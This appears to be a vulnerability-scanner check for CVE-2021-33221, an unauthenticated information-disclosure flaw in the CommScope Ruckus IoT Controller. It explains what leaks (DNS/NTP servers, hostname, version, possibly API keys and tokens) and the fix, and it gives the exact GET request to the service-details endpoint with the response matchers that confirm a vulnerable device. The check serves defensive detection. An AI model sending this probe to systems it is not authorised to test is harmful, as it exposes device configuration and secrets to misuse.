Readycheck to confirm it

CommScope Ruckus IoT Controller is susceptible to information disclosure vulnerabilities because a 'service details' API endpoint discloses system and configuration information to an attacker without requiring authentication. This information includes DNS and NTP servers that the devices use for time and host resolution. It also includes the internal hostname and IoT Controller version. A fully configured device in production may leak other, more sensitive information (API keys and tokens).

Impact

Successful exploitation of this vulnerability could result in the exposure of sensitive data, potentially leading to further attacks or unauthorized access.

Fix

Apply the latest security patches or updates provided by CommScope to mitigate the information disclosure vulnerability (CVE-2021-33221).

How to confirm it

Send: GET {{BaseURL}}/service/v1/service-details
Positive when: contains in header "application/json" AND contains "message" and "ok" and "data" and "dns" AND status 200
